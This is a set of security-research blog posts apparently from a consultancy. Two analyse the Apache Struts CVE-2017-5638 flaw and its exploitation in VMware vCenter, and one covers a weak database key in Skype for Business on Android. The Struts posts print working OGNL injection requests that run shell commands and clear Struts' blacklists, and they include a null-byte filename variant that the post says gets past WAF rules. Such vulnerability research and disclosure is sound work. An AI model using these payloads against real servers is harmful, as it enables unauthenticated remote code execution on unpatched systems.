VMware vCenter Unauthenticated RCE using CVE-2017-5638 (Apache Struts 2 RCE)

Following up on the previous post analysing CVE-2017-5638, we would like to present a working Proof of Concept for Remote Code Execution (RCE) in VMware vCenter exploiting this vulnerability. While understandably a lot of the focus after the public disclosure has been on identifying and patching Internet exposed systems, it is also important to address systems exposed to business partners and internal users. We are publishing the information below to demonstrate the importance of patching internal systems, as they are often overlooked and can pose significant risk.

A few days after CVE-2017-5638 was publically disclosed VMware published an advisory that some of their products were affected, including VMware vCenter. However, the advisory does not contain any further details. VMware vCenter is the primary solution for managing ESXi virtualisation. One of the administration interfaces is an HTTP-based GUI panel. If you intercept vCenter HTTP traffic, you will realise that this is pure BlazeDS format (Adobe proprietary). An example request is shown below.

The main challenge in this case was to identify what part of the application is using Apache Struts 2 and if this is directly accessible to end users. After spending some time searching through the vCenter server, it was noticed that a Struts 2 library is stored in one of the directories responsible for the reporting engine, perfcharts. The file path is /usr/lib/vmware-perfcharts/instance/webapps/statsreport/.

The reporting engine is hosted on an Apache Tomcat server and by searching through Tomcat configuration files, it was discovered that requests to /StatsChartServlet are routed to the engine.


However, this does not simply produce a valid URL. Looking for URLs containing “StatsChartServlet” we were able to find following request. In this instance we used a Burp Proxy log but other proxy or access logs would also contain the full URL if the relevant functionality has been accessed.

So it appears that the prefcharts reporting engine is accessible via the following URL:


Sending any malicious payload appropriate for the CVE-2017-5638 vulnerability to that endpoint:

GET /statsreport/ HTTP/1.1
Host: vcenter:443
Content-Type: %{(#_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@[email protected]('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
Connection: close
Content-Length: 0

results in execution of a command (in this instance /usr/bin/id):

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Date: Thu, 16 Mar 2017 14:33:51 GMT
Connection: close
Content-Length: 86

uid=1011(perfcharts) gid=100(users) groups=100(users),16(dialout),33(video),1004(cis)

Affected VMware vCenter versions are 6.0 U2a and below, and 6.5.0b and below. Security patches for both branches are available on the vendor’s website.


An Analysis of CVE-2017-5638

At GDS, we’ve had a busy few weeks helping our clients manage the risk associated with CVE-2017-5638 (S2-045), a recently published Apache Struts server-side template injection vulnerability. As we began this work, I found myself curious about the conditions that lead to this vulnerability in the Struts library code. We often hear about the exploitation of these types of vulnerabilities, but less about the vulnerable code that leads to them. This post is the culmination of research I have done into this very topic. What I present here is a detailed code analysis of the vulnerability, as well as payloads seen in the wild and a discussion on why some work while others don’t. I also present a working payload for S2-046, an alternate exploit vector that is capable of bypassing web application firewall rules that only examine request content types. I conclude with a couple of takeaways I had from this research.

For those unfamiliar with the concept of SSTI (server-side template injection), it’s a classic example of an injection attack. A template engine parses what is intended to be template code, but somewhere along the way ends up parsing user input. The result is typically code execution in whatever form the template engine allows. For many popular template engines, such as Freemarker, Smarty, Velocity, Jade, and others, remote code execution outside of the engine is often possible (i.e. spawning a system shell). For cases like Struts, simple templating functionality is provided using an expression language such as Object-Graph Navigation Language (OGNL). As is the case for OGNL, it is often possible to obtain remote code execution outside of an expression engine as well. Many of these libraries do offer mechanisms to help mitigate remote code execution, such as sandboxing, but they tend to be disabled by default or trivial to bypass.

From a code perspective, the simplest condition for SSTI to exist in an application is to have user input passed into a function that parses template code. Losing track of what functions handle values tainted with user input is an easy way to accidentally introduce all kinds of injection vulnerabilities into an application. To uncover a vulnerability like this, the call stack and any tainted data flow must be carefully traced and analyzed.

This was the case to fully understand how CVE-2017-5638 works. The official CVE description reads:

The Jakarta Multipart parser in Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before mishandles file upload, which allows remote attackers to execute arbitrary commands via a #cmd= string in a crafted Content-Type HTTP header, as exploited in the wild in March 2017.

This left me with the impression that the vulnerable code existed in the Jakarta Multipart parser and that it was triggered by a “#cmd=” string in the Content-Type HTTP header. Using Struts 2.5.10 as an example, we’ll soon learn that the issue is far more nuanced than that. To truly grasp how the vulnerability works, I needed to do a full analysis of relevant code in the library.

Beginning With A Tainted Exception Message

An exception thrown, caught, and logged when this vulnerability is exploited reveals a lot about how this vulnerability works. As we can see in the following reproduction, which results in remote code execution, an exception is thrown and logged in the parseRequest method in the Apache commons upload library. This is because the content-type of the request didn’t match an expected valid string. We also notice that the exception message thrown by this library includes the invalid content-type header supplied in the HTTP request. This in effect taints the exception message with user input.

Reproduction Request:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@[email protected]('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
Content-Length: 0
Reproduction Response:
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=16cuhw2qmanji1axbayhcp10kn;Path=/struts2-showcase
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Server: Jetty(8.1.16.v20140903)
Content-Length: 11

Logged Exception:
2017-03-24 13:44:39,625 WARN  [qtp373485230-21] multipart.JakartaMultiPartRequest ( - Request exceeded size limit!
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, content type header is ${(#_='multipart/form-data').([email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@[email protected]('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
	at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.( ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.commons.fileupload.FileUploadBase.getItemIterator( ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.commons.fileupload.FileUploadBase.parseRequest( ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest( ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload( ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse( [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.( [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.Dispatcher.wrapRequest( [struts2-core-2.5.10.jar:2.5.10]

The caller responsible for invoking the parseRequest method that generates the exception is in a class named JakartaMultiPartRequest. This class acts as a wrapper around the Apache commons fileupload library, defining a method named processUpload that calls its own version of the parseRequest method on line 91. This method creates a new ServletFileUpload object on line 151 and calls its parseRequest method on line 147.

90:     protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {
91:         for (FileItem item : parseRequest(request, saveDir)) {
92:             LOG.debug("Found file item: [{}]", item.getFieldName());
93:             if (item.isFormField()) {
94:                 processNormalFormField(item, request.getCharacterEncoding());
95:             } else {
96:                 processFileField(item);
97:             }
98:         }
99:     }
144:     protected List<FileItem> parseRequest(HttpServletRequest servletRequest, String saveDir) throws FileUploadException {
145:         DiskFileItemFactory fac = createDiskFileItemFactory(saveDir);
146:         ServletFileUpload upload = createServletFileUpload(fac);
147:         return upload.parseRequest(createRequestContext(servletRequest));
148:     }
150:     protected ServletFileUpload createServletFileUpload(DiskFileItemFactory fac) {
151:         ServletFileUpload upload = new ServletFileUpload(fac);
152:         upload.setSizeMax(maxSize);
153:         return upload;
154:     }

Looking at the stacktrace, we can see that the processUpload method is called by JakartaMultiPartRequest’s parse method on line 67. Any thrown exceptions from calling this method are caught on line 68 and passed to the method buildErrorMessage. Several paths exist for calling this method depending on the class of the exception thrown, but the result is always that this method is called. In this case the buildErrorMessage method is called on line 75.

64:     public void parse(HttpServletRequest request, String saveDir) throws IOException {
65:         try {
66:             setLocale(request);
67:             processUpload(request, saveDir);
68:         } catch (FileUploadException e) {
69:             LOG.warn("Request exceeded size limit!", e);
70:             LocalizedMessage errorMessage;
71:             if(e instanceof FileUploadBase.SizeLimitExceededException) {
72:                 FileUploadBase.SizeLimitExceededException ex = (FileUploadBase.SizeLimitExceededException) e;
73:                 errorMessage = buildErrorMessage(e, new Object[]{ex.getPermittedSize(), ex.getActualSize()});
74:             } else {
75:                 errorMessage = buildErrorMessage(e, new Object[]{});
76:             }
78:             if (!errors.contains(errorMessage)) {
79:             	errors.add(errorMessage);
80:             }
81:         } catch (Exception e) {
82:             LOG.warn("Unable to parse request", e);
83:             LocalizedMessage errorMessage = buildErrorMessage(e, new Object[]{});
84:             if (!errors.contains(errorMessage)) {
85:                 errors.add(errorMessage);
86:             }
87:         }
88:     }

Since the JakartaMultiPartRequest class doesn’t define the buildErrorMessage method, we look to the class that it extends which does: AbstractMultiPartRequest.

98:      protected LocalizedMessage buildErrorMessage(Throwable e, Object[] args) {
99:      	String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
100:     	LOG.debug("Preparing error message for key: [{}]", errorKey);
102:     	return new LocalizedMessage(this.getClass(), errorKey, e.getMessage(), args);
103:     }

The LocalizedMessage that it returns defines a simple container-like object. The important details here are:

  • The instance’s textKey is set to a struts.messages.upload.error.InvalidContentTypeException.
  • The instance’s defaultMessage is set to the exception message tainted with user input.

Next in the stacktrace, we can see that JakartaMultiPartRequest’s parse method is invoked in MultiPartRequestWrapper’s constructor method on line 86. The addError method called on line 88 checks to see if the error has already been seen, and if not it adds it to an instance variable that holds a collection of LocalizedMessage objects.

77:     public MultiPartRequestWrapper(MultiPartRequest multiPartRequest, HttpServletRequest request,
78:                                    String saveDir, LocaleProvider provider,
79:                                    boolean disableRequestAttributeValueStackLookup) {
80:         super(request, disableRequestAttributeValueStackLookup);
85:         try {
86:             multi.parse(request, saveDir);
87:             for (LocalizedMessage error : multi.getErrors()) {
88:                 addError(error);
89:             }

On the next line of our stacktrace, we see that the Dispatcher class is responsible for instantiating a new MultiPartRequestWrapper object and calling the constructor method above. The method called here is named wrapRequest and is responsible for detecting if the request’s content type contains the substring “multipart/form-data” on line 801. If it does, a new MultiPartRequestWrapper is created on line 804 and returned.

794:     public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
795:         // don't wrap more than once
796:         if (request instanceof StrutsRequestWrapper) {
797:             return request;
798:         }
800:         String content_type = request.getContentType();
801:         if (content_type != null && content_type.contains("multipart/form-data")) {
802:             MultiPartRequest mpr = getMultiPartRequest();
803:             LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
804:             request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);
805:         } else {
806:             request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
807:         }
809:         return request;
810:     }

At this point in our analysis, our HTTP request has been parsed and our wrapped request object (MultiPartRequestWrapper) holds an error (LocalizedMessage) with our tainted default message and a textKey set to struts.messages.upload.error.InvalidContentTypeException.

Calling Struts’ File Upload Interceptor

The rest of the stacktrace doesn’t provide anything terribly useful to us to continue tracing data flow. However, we have a clue for where to look next. Struts processes requests through a series of interceptors. As it turns out, an interceptor named FileUploadInterceptor is part of the default “stack” that Struts is configured to use.

As we can see on line 242, the interceptor checks to see if our request object is an instance of the class MultiPartRequestWrapper. We know that it is because the Dispatcher previously returned an instance of this class. The interceptor continues to check if the MultiPartRequestWrapper object has any errors on line 261, which we already know it does. It then calls LocalizedTextUtil’s findText method on line 264, passing in several arguments such as the error’s textKey and our tainted defaultMessage.

237:     public String intercept(ActionInvocation invocation) throws Exception {
238:         ActionContext ac = invocation.getInvocationContext();
240:         HttpServletRequest request = (HttpServletRequest) ac.get(ServletActionContext.HTTP_REQUEST);
242:         if (!(request instanceof MultiPartRequestWrapper)) {
243:             if (LOG.isDebugEnabled()) {
244:                 ActionProxy proxy = invocation.getProxy();
245:                 LOG.debug(getTextMessage("struts.messages.bypass.request", new String[]{proxy.getNamespace(), proxy.getActionName()}));
246:             }
248:             return invocation.invoke();
249:         }
259:         MultiPartRequestWrapper multiWrapper = (MultiPartRequestWrapper) request;
261:         if (multiWrapper.hasErrors()) {
262:             for (LocalizedMessage error : multiWrapper.getErrors()) {
263:                 if (validation != null) {
264:                     validation.addActionError(LocalizedTextUtil.findText(error.getClazz(), error.getTextKey(), ActionContext.getContext().getLocale(), error.getDefaultMessage(), error.getArgs()));
265:                 }
266:             }
267:         }

Following Localized Text

This is where things start to get interesting. A version of the LocalizedTextUtil’s method findText is called that tries to find an error message to return based on several factors. I have omitted the large method definition because the comment below accurately describes it. The findText method call is invoked where:

  • aClassName is set to AbstractMultiPartRequest.
  • aTextName is set to the error’s textKey, which is struts.messages.upload.error.InvalidContentTypeException.
  • Locale is set to the ActionContext’s locale.
  • defaultMessage is our tainted exception message as a string.
  • Args is an empty array.
  • valueStack is set to the ActionContext’s valueStack.
397:     /**
398:      * <p>
399:      * Finds a localized text message for the given key, aTextName. Both the key and the message
400:      * itself is evaluated as required.  The following algorithm is used to find the requested
401:      * message:
402:      * </p>
403:      *
404:      * <ol>
405:      * <li>Look for message in aClass' class hierarchy.
406:      * <ol>
407:      * <li>Look for the message in a resource bundle for aClass</li>
408:      * <li>If not found, look for the message in a resource bundle for any implemented interface</li>
409:      * <li>If not found, traverse up the Class' hierarchy and repeat from the first sub-step</li>
410:      * </ol></li>
411:      * <li>If not found and aClass is a [email protected] ModelDriven} Action, then look for message in
412:      * the model's class hierarchy (repeat sub-steps listed above).</li>
413:      * <li>If not found, look for message in child property.  This is determined by evaluating
414:      * the message key as an OGNL expression.  For example, if the key is
415:      * <i>user.address.state</i>, then it will attempt to see if "user" can be resolved into an
416:      * object.  If so, repeat the entire process fromthe beginning with the object's class as
417:      * aClass and "address.state" as the message key.</li>
418:      * <li>If not found, look for the message in aClass' package hierarchy.</li>
419:      * <li>If still not found, look for the message in the default resource bundles.</li>
420:      * <li>Return defaultMessage</li>
421:      * </ol>

Because a resource bundle is not found defining an error message for struts.messages.upload.error.InvalidContentTypeException, this process ends up invoking the method getDefaultMessage on line 573:

570:         // get default
571:         GetDefaultMessageReturnArg result;
572:         if (indexedTextName == null) {
573:             result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
574:         } else {
575:             result = getDefaultMessage(aTextName, locale, valueStack, args, null);
576:             if (result != null &amp;&amp; result.message != null) {
577:                 return result.message;
578:             }
579:             result = getDefaultMessage(indexedTextName, locale, valueStack, args, defaultMessage);
580:         }

The getDefaultMessage method in the same class is responsible making one last ditch effort of trying to find a suitable error message given a key and a locale. In our case, it still fails and takes our tainted exception message and calls TextParseUtil’s translateVariables method on line 729.

714:     private static GetDefaultMessageReturnArg getDefaultMessage(String key, Locale locale, ValueStack valueStack, Object[] args,
715:                                                                 String defaultMessage) {
716:         GetDefaultMessageReturnArg result = null;
717:         boolean found = true;
719:         if (key != null) {
720:             String message = findDefaultText(key, locale);
722:             if (message == null) {
723:                 message = defaultMessage;
724:                 found = false; // not found in bundles
725:             }
727:             // defaultMessage may be null
728:             if (message != null) {
729:                 MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
731:                 String msg = formatWithNullDetection(mf, args);
732:                 result = new GetDefaultMessageReturnArg(msg, found);
733:             }
734:         }
736:         return result;
737:     }

An OGNL Expression Data Sink

As it turns out, TextParseUtil’s translateVariables method is a data sink for expression language evaluation. Just as the method’s comment explains, it provides simple template functionality by evaluating OGNL expressions wrapped in instances of ${…} and %{…}. Several versions of the translateVariables method are defined and called, with the last evaluating the expression on line 166.

34:      /**
35:       * Converts all instances of ${...}, and %{...} in <code>expression</code> to the value returned
36:       * by a call to [email protected] ValueStack#findValue(java.lang.String)}. If an item cannot
37:       * be found on the stack (null is returned), then the entire variable ${...} is not
38:       * displayed, just as if the item was on the stack but returned an empty string.
39:       *
40:       * @param expression an expression that hasn't yet been translated
41:       * @param stack value stack
42:       * @return the parsed expression
43:       */
44:      public static String translateVariables(String expression, ValueStack stack) {
45:          return translateVariables(new char[]{'$', '%'}, expression, stack, String.class, null).toString();
46:      }
152:     public static Object translateVariables(char[] openChars, String expression, final ValueStack stack, final Class asType, final ParsedValueEvaluator evaluator, int maxLoopCount) {
154:     ParsedValueEvaluator ognlEval = new ParsedValueEvaluator() {
155:             public Object evaluate(String parsedValue) {
156:                 Object o = stack.findValue(parsedValue, asType);
157:                 if (evaluator != null && o != null) {
158:                     o = evaluator.evaluate(o.toString());
159:                 }
160:                 return o;
161:             }
162:         };
164:         TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);
166:         return parser.evaluate(openChars, expression, ognlEval, maxLoopCount);
167:     }

With this last method call, we have traced an exception message tainted with user input all the way to the evaluation of OGNL.

Payload Analysis

A curious reader might be wondering how the exploit’s payload works. To start, let us first attempt to supply a simple OGNL payload that returns an additional header. We need to include the unused variable in the beginning, so that Dispatcher’s check for a “multipart/form-data” substring passes and our request gets parsed as a file upload.

Reproduction Request:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}
Content-Length: 0
Reproduction Response:
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=1wq4m7r2pkjqfak2zaj4e12kn;Path=/struts2-showcase
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: text/html

Huh? It didn’t work. A look at our logs shows a warning was logged:

Logged Exception:
17-03-24 12:48:30,904 WARN  [qtp18233895-25] ognl.SecurityMemberAccess ( - Package of target [[email protected]] or package of member [public void javax.servlet.http.HttpServletResponseWrapper.addHeader(java.lang.String,java.lang.String)] are excluded!

As it turns out, Struts offers blacklisting functionality for class member access (i.e. class methods). By default, the following class lists and regular expressions are used:

41:     <constant name="struts.excludedClasses"
42:               value="
43:                 java.lang.Object,
44:                 java.lang.Runtime,
45:                 java.lang.System,
46:                 java.lang.Class,
47:                 java.lang.ClassLoader,
48:                 java.lang.Shutdown,
49:                 java.lang.ProcessBuilder,
50:                 ognl.OgnlContext,
51:                 ognl.ClassResolver,
52:                 ognl.TypeConverter,
53:                 ognl.MemberAccess,
54:                 ognl.DefaultMemberAccess,
55:                 com.opensymphony.xwork2.ognl.SecurityMemberAccess,
56:                 com.opensymphony.xwork2.ActionContext">
63:     <constant name="struts.excludedPackageNames" value="java.lang.,ognl,javax,freemarker.core,freemarker.template" >

To better understand the original OGNL payload, let us try a simplified version that actually works:

Reproduction Request:
POST /struts2-showcase/fileupload/doUpload.action HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: ${(#_='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}}
Content-Length: 0
Reproduction Response:
HTTP/1.1 200 OK
Set-Cookie: JSESSIONID=avmifel7x66q9cmnsrr8lq0s;Path=/struts2-showcase
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Struts-Exploit-Test: GDSTEST
Content-Type: text/html

As we can see, this one does indeed work. But how is it bypassing the blacklisting we saw earlier?

What this payload does is empty the list of excluded package names and classes, thereby rendering the blacklist useless. It does this by first fetching the current container associated with the OGNL context and assigning it to the “container” variable. You may notice that the class com.opensymphony.xwork2.ActionContext is included in the blacklist above. How is this possible then? The blacklist doesn’t catch it because we aren’t referencing a class member, but rather by a key that already exists in the OGNL Value Stack (defined in core/src/main/java/com/opensymphony/xwork2/ The reference to an instance of this class is already made for us, and the payload takes advantage of this.

Next, the payload gets the container’s instance of OgnlUtil, which allows us to invoke methods that return the current excluded classes and package names. The final step is to simply get and clear each blacklist and execute whatever unrestricted evaluations we want.

An interesting point to make here is that once the blacklists have been emptied, they remain empty until overwritten by code or until the application has been restarted. I found this to be a common pitfall when attempting to reproduce certain payloads found in the wild or documented in other research. Some payloads failed to work because they assumed the blacklists had already been emptied, which would have likely occurred during the testing of different payloads earlier on. This emphasizes the importance of resetting application state when running dynamic tests.

You may have also noticed that the original exploit’s payload used is a bit more complicated than the one presented here. Why does it perform extra steps such as checking a _memberAccess variable and calling a method named setMemberAccess? It may be an attempt to leverage another technique to clear each blacklist, just in case the first technique didn’t work. The setMemberAccess method is called with a default instance of the MemberAcess class, which in effect clears each blacklist too. I could confirm that this technique works in Struts 2.3.31 but not 2.5.10. I am still unsure, however, of what the purpose is of the ternary operator that checks for and conditionally assigns _memberAccess. During testing I did not observe this variable to evaluate as true.

Other Exploit Vectors

Other exploit vectors exist for this vulnerability as of 2.5.10. This is due to the fact that any exception message tainted with user input that doesn’t have an associated error key will be evaluated as OGNL. For example, supplying an upload filename with a null byte will cause an InvalidFileNameException exception to be thrown from the Apache commons fileupload library. This would also bypass a web application firewall rule examining the content-type header. The %00 in the request below should be URL decoded first. The result is an exception message that is tainted with user input.

Reproduction Request:
POST /struts2-showcase/ HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=---------------------------1313189278108275512788994811
Content-Length: 570

Content-Disposition: form-data; name="upload"; filename="a%00${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}”
Content-Type: text/html

Reproduction Response:
HTTP/1.1 404 No result defined for action com.opensymphony.xwork2.ActionSupport and result input
Set-Cookie: JSESSIONID=hu1m7hcdnixr1h14hn51vyzhy;Path=/struts2-showcase
X-Struts-Exploit-Test: GDSTEST
Content-Type: text/html;charset=ISO-8859-1
Logged Exception:
2017-03-24 15:21:29,729 WARN  [qtp1168849885-26] multipart.JakartaMultiPartRequest ( - Unable to parse request
org.apache.commons.fileupload.InvalidFileNameException: Invalid file name: a\0${(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Struts-Exploit-Test','GDSTEST'))}
	at org.apache.commons.fileupload.util.Streams.checkFileName( ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.commons.fileupload.disk.DiskFileItem.getName( ~[commons-fileupload-1.3.2.jar:1.3.2]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processFileField( ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload( ~[struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse( [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.( [struts2-core-2.5.10.jar:2.5.10]
	at org.apache.struts2.dispatcher.Dispatcher.wrapRequest( [struts2-core-2.5.10.jar:2.5.10]

As you can see by looking at the stacktrace, control flow diverges in the processUpload method of the JakartaMultiPartRequest class. Instead of an exception being thrown when calling the parseRequest method on line 91, an exception is thrown when calling the processFileField method and getting the name of a file item on line 105.

90:      protected void processUpload(HttpServletRequest request, String saveDir) throws FileUploadException, UnsupportedEncodingException {
91:          for (FileItem item : parseRequest(request, saveDir)) {
92:              LOG.debug("Found file item: [{}]", item.getFieldName());
93:              if (item.isFormField()) {
94:                   processNormalFormField(item, request.getCharacterEncoding());
95:              } else {
96:                  processFileField(item);
97:              }
98:          }
99:      }
101:     protected void processFileField(FileItem item) {
102:         LOG.debug("Item is a file upload");
104:         // Skip file uploads that don't have a file name - meaning that no file was selected.
105:         if (item.getName() == null || item.getName().trim().length() < 1) {
106:             LOG.debug("No file has been uploaded for the field: {}", item.getFieldName());
107:             return;
108:         }
110:         List<FileItem> values;
111:         if (files.get(item.getFieldName()) != null) {
112:             values = files.get(item.getFieldName());
113:         } else {
114:             values = new ArrayList<>();
115:         }
117:         values.add(item);
118:         files.put(item.getFieldName(), values);
119:     }


One takeaway I had from this research is that you can’t always rely on reading CVE descriptions to understand how a vulnerability works. The reason this vulnerability was ever possible was because the file upload interceptor attempted to resolve error messages using a potentially dangerous function that evaluates OGNL. The elimination of this possibility is what lead to a successful patching of this vulnerability. Therefore this is not a problem with the Jakarta request wrapper, as the CVE description implies, but with the file upload interceptor trusting that exception messages will be free of user input.

Another takeaway I had reinforced the idea that you can’t rely on using known attack signatures to block exploitation at the web application firewall level. For example, if a web application firewall were configured to look for OGNL in the content-type header, it would miss the additional attack vector explained in this post. The only reliable way to eliminate vulnerabilities like this one is to apply available patches, either manually or by installing updates.


Cryptographic Flaws in Skype for Business

GDS recently discovered and disclosed a vulnerability in Skype for Business caused by mishandling of cryptographic information. Improper use of string objects resulted in reduced entropy for database passwords storing sensitive user data. This vulnerability was detected by decompiling the unobfuscated Java source code stored within the application container. This is very similar to an issue discussed previously by Stephen Komal at GDS two years ago, described at

The database stored in the application container under databases/EncryptedDataStore.sqlite on the Android platform used a weaker than optimal key for storage of secure data. While it is likely that for practical purposes the key’s length itself will be sufficient to prevent compromise in the majority of cases, the key is malformed, reducing its entropy significantly. The danger of this vulnerability is that attackers may find a system with a key that is much more easily cracked by brute force than what was originally intended by the software’s authors. In the worst-case scenario, attackers could trivially crack the database key, decrypt the database, and retrieve private user information.

During account set up, each user’s personal data is encrypted in a sqllite database on the Android device using a password for a PBKDF2 key derivation function which is randomly generated, using Java’s SecureRandom functionality. However, that key is immediately converted to a Java string.

53:     private String generateRandomPassword() {
54:         byte[] arrby = new byte[42];
55:         new SecureRandom().nextBytes(arrby);
56:         return new String(arrby);
57:     }

The database key is initialized as follows:

59:     private String getDbKeys() {
60:         String string2;
61:         String string3 = string2 = CredentialsStoreManager.getInstance().getDatabasePassword();
62:         if (string2 != null) return string3;
63:         Trace.d(TAG, “getDbKeys, Database Encryption not stored, creating new password”);
64:         string3 = this.generateRandomPassword();
65:         try {
66:             CredentialsStoreManager.getInstance().setDatabasePassword(string3);
67:             return string3;
68:         }
69:         catch (CredentialStoreException var2_2) {
70:             Trace.e(TAG, “getDbKeys, storage failed!!!!!);
71:             DatabaseAnalytics.reportKeyStorageError(var2_2);
72:             return string3;
73:         }
74:     }

Each user is given a new database password for decryption, which cannot be easily retrieved without rooting the device. GDS retrieved the PBKDF key derivation password by constructing a “hooking” program that dumped out the database password from memory, which was then used to decrypt the database. This could easily be accomplished on any rooted device. The function in question was located by decompiling the unobfuscated Java class files.

The hooked function is shown below:

312:  public String getDatabasePassword() {
313:         Account account = this.getLyncAccount();
314:         if (account != null) {
315:             return this.accountManager.getUserData(account, “persistanceKey”);
316:         }
317:         Trace.i(“CredentialsStoreManager”, “getDatabasePassword, returning null because no database password is currently stored”);
318:         return null;
319:     }
By “hooking” into this function the database password was found. A sample database password is shown below. Note that this password only relates to a GDS specific test account.

Key Data:

2E 15 EF BF  BD 3F 09 65  38 EF BF BD  31 EF BF BD  EF BF BD EF  BF BD 04 EF

In this case a large proportion of the password has been replaced with the unicode “replacement character” byte sequence (EF BF BD.)

